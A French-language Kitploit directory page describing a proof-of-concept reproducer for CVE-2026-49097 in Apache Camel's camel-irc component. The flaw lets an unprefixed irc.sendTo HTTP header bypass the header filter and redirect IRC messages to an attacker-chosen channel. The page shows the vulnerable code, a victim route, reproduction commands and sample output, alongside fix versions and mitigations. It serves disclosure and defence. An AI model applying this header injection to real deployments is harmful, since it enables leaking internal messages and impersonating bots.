Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49097 — Reproducteur de PoC pour CVE-2026-49097 (Apache Camel camel-irc) : l'en-tête irc.sendTo sans préfixe Camel contourne le filtre d'en-têtes HTTP et remplace le canal configuré du producteur, redirigeant un message IRC vers une destination choisie par l'attaquant. Corrigé dans les versions 4.14.8/4.18.3/4.21.0. | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-49097
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHuboscerd/cve-2026-49097

CVE-2026-49097

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Reproducteur de PoC pour CVE-2026-49097 (Apache Camel camel-irc) : l'en-tête irc.sendTo sans préfixe Camel contourne le filtre d'en-têtes HTTP et remplace le canal configuré du producteur, redirigeant un message IRC vers une destination choisie par l'attaquant. Corrigé dans les versions 4.14.8/4.18.3/4.21.0.

Partager

camel-irc irc.sendTo — reproducteur d'injection d'en-tête (CVE-2026-49097)

Ce projet démontre une injection d'en-tête de message dans le composant camel-irc d'Apache Camel, référencée sous CVE-2026-49097. IrcProducer lit l'en-tête irc.sendTo pour choisir la destination du message IRC sortant ; lorsqu'il est présent, il remplace la liste de canaux configurée du point de terminaison :

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

La constante d'en-tête IRC_SEND_TO a pour valeur simple irc.sendTo. Comme elle ne commence pas par le préfixe Camel / camel, HttpHeaderFilterStrategy — qui ne bloque que l'espace de noms des en-têtes Camel à la frontière HTTP — la laisse passer d'une requête HTTP entrante directement dans l'Exchange.

Dans une route qui fait le pont entre un consommateur HTTP (par exemple platform-http) et un producteur irc:, n'importe quel client HTTP peut donc fournir irc.sendTo et rediriger le message vers un canal ou un pseudo IRC arbitraire, exfiltrant un contenu destiné à un canal interne vers une destination surveillée par l'attaquant, ou se faisant passer pour le bot dans un autre canal. Neuf autres constantes irc.* ont été renommées dans le même correctif ; irc.sendTo est celle directement exploitable.

Cette preuve de concept (PoC) démontre l'impact sous la forme d'une redirection de message / divulgation d'informations (CWE-20 → CWE-74).

Avis de sécurité : https://camel.apache.org/security/CVE-2026-49097.html

Résumé de la vulnérabilité

Le correctif renomme les dix constantes d'en-tête irc.* selon la convention CamelIrc* (par exemple irc.sendTo → CamelIrcSendTo), afin qu'elles soient filtrées à la frontière HTTP comme tous les autres en-têtes de contrôle Camel. Même famille que CVE-2025-27636, CVE-2026-46454 et CVE-2026-48206. Remarque : camel-irc est obsolète à partir de 4.21.0.

Pourquoi aucun serveur IRC n'est nécessaire

La vulnérabilité réside entièrement dans la sélection de destination de IrcProducer ; la socket IRC n'est que le transport. Ce reproducteur exécute le vrai IrcProducer et la vraie classe IRCConnection d'irclib, sous-classée pour que sa méthode send(...) (par laquelle transitent toutes les commandes do* — y compris doPrivmsg —) enregistre la cible du PRIVMSG au lieu d'écrire sur une socket. Un petit composant irc personnalisé fournit cette connexion d'enregistrement. Aucun réseau IRC n'est contacté.

La route victime

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Un point de terminaison « notify » qui transmet vers un canal interne fixe #alerts. Il n'y a aucun paramètre de destination dans l'API HTTP — l'auteur suppose que le client ne peut pas choisir le canal. L'attaquant définit irc.sendTo et le bot publie dans un canal choisi par l'attaquant.

Structure du dépôt

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Prérequis

  • Docker et Docker Compose
  • Java 17+ et Maven 3.8+

Étapes de reproduction

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Sortie attendue

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Correctif recommandé

Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Après la mise à niveau, les routes qui définissent la destination IRC via un en-tête doivent utiliser le nom CamelIrcSendTo. Remarque : camel-irc est obsolète à partir de 4.21.0.

Mesures d'atténuation

En attendant la mise à niveau, supprimez les en-têtes de contrôle camel-irc de toute entrée non fiable avant le producteur irc: (par exemple removeHeaders("irc.*")), et définissez la destination à partir d'une source de confiance.

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil
PropriétéValeur
Composantcamel-irc
Classe affectéeorg.apache.camel.component.irc.IrcProducer qui lit IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (Validation incorrecte des entrées) / CWE-74 (Injection)
ImpactRedirection d'un message IRC sortant vers un canal/pseudo choisi par l'attaquant (exfiltration, usurpation d'identité)
Conditions préalablesUne route fait le pont entre un consommateur HTTP et un producteur irc: ; non authentifié lorsque le consommateur est
Versions affectéesDe 4.0.0 à 4.14.8 exclu, de 4.15.0 à 4.18.3 exclu, de 4.19.0 à 4.21.0 exclu
Versions corrigées4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
CréditYu Bao (PayPal)